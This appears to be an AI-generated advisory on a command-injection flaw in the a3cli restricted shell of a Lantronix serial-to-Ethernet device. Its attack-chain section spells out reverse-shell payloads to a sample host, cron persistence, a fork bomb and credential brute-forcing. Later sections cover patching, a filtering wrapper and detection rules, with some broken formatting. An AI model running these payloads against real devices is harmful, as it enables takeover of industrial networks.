CVE-2026-18530 — Lantronix S2220 Series 2 (v.1.3.36) — CWE-78
OS command injection in the a3cli restricted shell in Lantronix S2220 Series 2 allows an authenticated attacker to bypass shell restrictions and execute arbitrary operating system commands via unsanitized command substitution metacharacters, including backticks and $(), in parameters of permitted commands over SSH. This vulnerability is fixed in firmware version 1.3.37.
OS command injection in the a3cli restricted shell in Lantronix S2220 Series 2 allows an authenticated attacker to bypass shell restrictions and execute arbitrary operating system commands via unsanitized command substitution metacharacters, including backticks and $(), in parameters of permitted commands over SSH. This vulnerability is fixed in firmware version 1.3.37.
🎯 What is this vulnerability?
CVE‑2026‑18530 – OS command injection in the a3cli restricted shell
| Attribute | Detail |
|---|---|
| CWE | CWE‑78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H – Network‑reachable, low attack complexity, low‑privilege attacker, no user interaction, Scope = Changed, Critical impact on all three CIA pillars. |
| Affected component | The *restricted* command interpreter (a3cli) that is exposed over SSH on Lantronix S2220 Series 2 devices running firmware v1.3.36. |
| Root cause | a3cli implements a whitelist of “permitted” commands (e.g., show, set, restart). For each permitted command the firmware builds a shell‑level string and passes it to /bin/sh -c. The implementation fails to sanitize command‑substitution metacharacters such as back‑ticks (` cmd ) and the $()` syntax. Because the whitelist is applied after the command line is interpolated into a shell string, an attacker who can invoke any whitelisted command can inject additional commands by embedding a substitution construct in a command argument. The injection is performed after authentication (the attacker must have a valid SSH account with at least “user” level privileges), but the vulnerability bypasses the intended “restricted” nature of the shell, giving the attacker full OS command execution rights (root on the device).
In short: the input validation step that should strip or escape shell meta‑characters is missing, allowing an authenticated attacker to break out of the restricted command context and execute arbitrary commands with the privileges of the SSH login (typically root on these embedded devices).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid for a typical Linux‑based embedded OS; where the exact CLI syntax is not disclosed in the public advisory, the example is marked as illustrative.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| 1.1 | Network scan – Nmap TCP SYN scan on the default management IP (e.g., 192.168.1.10). | Open port 22/tcp (SSH). |
| 1.2 | Banner grabbing – ssh -vvv 192.168.1.10 or nc -v 192.168.1.10 22. | SSH banner includes something like SSH-2.0-Lantronix S2220 v1.3.36. The version string directly reveals the vulnerable firmware. |
| 1.3 | Credential harvesting – brute‑force, credential reuse, or phishing to obtain a valid low‑privilege SSH account (e.g., operator / operator123). The CVSS vector shows PR:L, meaning a low‑privilege account is sufficient. | |
| 1.4 | Identify the restricted shell – after login, the prompt may read a3cli>. Running help (or an equivalent) lists the whitelisted commands (show, set, reboot, …). This confirms the presence of the vulnerable component. |
2. Exploitation
Goal: Execute an arbitrary OS command (e.g., create a reverse shell) by abusing command substitution in a permitted argument.
2.1. Choose a whitelisted command that accepts a free‑form string argument
Illustrative example: the command set hostname <value> is allowed. The firmware internally runs something akin to:
/bin/sh -c "hostname set $VALUE"Because $VALUE is not escaped, any shell‑meta characters inside it are interpreted.
2.2. Craft the malicious payload
Using back‑ticks (` cmd ) or $() we can inject a new command. Example payload that spawns a reverse shell to attacker 10.0.0.5:4444`:
set hostname `nc 10.0.0.5 4444 -e /bin/sh`or using $() syntax:
set hostname $(nc 10.0.0.5 4444 -e /bin/sh)When the device processes this line, the back‑ticks are evaluated by the underlying /bin/sh, causing the nc command to run before the original hostname command finishes. The attacker receives a remote shell with the same privileges as the SSH session (typically root).
2.3. Execute the payload
# 1. Open an SSH session (using the harvested credentials)
ssh [email protected]
# 2. At the a3cli prompt, inject the payload
a3cli> set hostname `nc 10.0.0.5 4444 -e /bin/sh`Result: The device initiates a TCP connection to 10.0.0.5:4444 and pipes /bin/sh to the attacker. The attacker now has an interactive root shell on the device.
Note: The exact command name (set hostname) is illustrative; any whitelisted command that accepts a free‑form string argument (e.g.,set description,show log <filter>) can be used similarly.
3. Post‑Exploitation
| Phase | Typical actions an attacker can perform | |
|---|---|---|
| Privilege confirmation | The attacker already runs as the SSH user (often root on these appliances). id will show uid=0(root). | |
| Persistence | - Drop a cron entry: echo "* * * * * /bin/bash -c 'nc 10.0.0.5 4444 -e /bin/sh'" >> /etc/crontab <br> - Install a backdoor binary in /usr/local/bin and add it to the startup script (/etc/rc.local). | |
| Lateral movement | Use the compromised device as a foothold to scan the internal network (nmap -sn 10.0.0.0/24) and pivot to other IoT or SCADA assets. | |
| Data exfiltration | Read configuration files (/etc/passwd, /etc/lantronix.conf), dump logs, or capture credentials stored in clear text. | |
| Denial‑of‑service | Issue reboot or shutdown commands (which are also whitelisted) to cause an outage, or overload the device with a fork bomb (:(){ : | :& };:) via the same injection technique. |
🌍 Real‑World Impact
| CIA | CVSS impact | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | High – The attacker can read any file on the device, capture credentials, and pivot to other network segments. | |
| Integrity (I:H) | High – Arbitrary commands allow modification of firmware, configuration, or insertion of malicious binaries. | |
| Availability (A:H) | High – The attacker can reboot, shutdown, or overload the device, causing immediate loss of service. | |
| Scope (S:C) | The vulnerability breaks the security boundary of the restricted shell, turning a “limited” user into a full‑privilege attacker. |
Business impact may include:
- Loss of control over remote I/O modules (S2220 is often used for serial‑to‑Ethernet conversion in industrial environments).
- Potential manipulation of PLC communications, leading to production downtime or safety incidents.
- Exposure of network topology and credentials, facilitating broader compromise of OT environments.
🛡️ Remediation & Mitigation
1. Patch
| Item | Action |
|---|---|
| Affected firmware | Lantronix S2220 Series 2 – version 1.3.36 (and any later builds that retain the same a3cli implementation). |
| Fixed in | Firmware 1.3.37 – the release notes state “sanitise command‑substitution characters in a3cli”. Apply the vendor‑provided update as soon as possible. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Technique | Implementation details | |
|---|---|---|
| Restrict SSH access | - Move the SSH service to a management VLAN not reachable from the Internet.<br>- Enforce key‑based authentication only; disable password logins (PasswordAuthentication no). | |
Disable the a3cli restricted shell | If the device offers a configuration option (e.g., system a3cli enable/disable), set it to *disable* and use a standard shell with stricter ACLs. | |
| Command‑filtering via a host‑based IDS | Deploy a ModSecurity‑style rule on the device’s SSH daemon (if it supports sshd‑style Match blocks) to reject any line containing back‑ticks or $(. Example sshd_config snippet: <br>``<br>Match User operator<br> ForceCommand /usr/local/bin/a3cli-wrapper.sh<br>`<br>a3cli-wrapper.sh could contain: <br>`bash<br>#!/bin/sh<br># Reject dangerous meta‑characters<br+>if echo "$1" | grep -qE '[$][({]' ; then<br+> echo "Rejected: command substitution not allowed" >&2<br+> exit 1<br+>fi<br+>exec /usr/bin/a3cli "$@"<br+>``` |
| Network‑level filtering | Block outbound connections from the device to untrusted IP ranges (e.g., default‑deny egress) to mitigate reverse‑shell attempts. | |
| Audit and rotate credentials | Change all default/weak passwords, enforce strong passwords or SSH keys, and rotate them after the patch. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| SSH session executing back‑ticks | /var/log/auth.log or device‑specific syslog. | Jan 12 10:15:32 sshd[1245]: Accepted password for operator from 192.168.1.45 port 54321 ssh2<br>Jan 12 10:15:33 a3cli[1246]: Executed command: set hostname \nc 10.0.0.5 4444 -e /bin/sh\` |
| Outbound connections to unknown hosts | Netflow, firewall logs, or device’s netstat output. | DENY OUTBOUND TCP 192.168.1.10:22 -> 10.0.0.5:4444 |
| Unexpected processes | Process list (ps aux) or auditd events. | root 3421 0.0 0.1 12344 2100 ? Ss 10:15 0:00 /bin/nc 10.0.0.5 4444 -e /bin/sh |
| File modifications | Integrity‑monitoring tools (AIDE, Tripwire). | Modified /etc/rc.local` (backdoor added). |
SIEM rule (pseudo‑YARA) – detect the pattern “a3cli + back‑tick”:
title: "Lantronix a3cli command‑substitution injection"
logsource:
product: linux
service: ssh
detection:
selection:
Message|contains: "a3cli"
Message|contains: "`"
condition: selection
level: high⚠️ Urgency
a3cli, block outbound traffic) and begin active monitoring for the listed IoCs.Bottom line: CVE‑2026‑18530 turns the “restricted”
a3cli shell into a full remote code execution vector. Because the device often sits at the edge of industrial networks, exploitation can lead to immediate control‑plane compromise, data leakage, and potential safety hazards. Prompt patching, credential hygiene, and network segmentation are mandatory.[🤖 CVE Professor AI Security Engine]
FOFA Query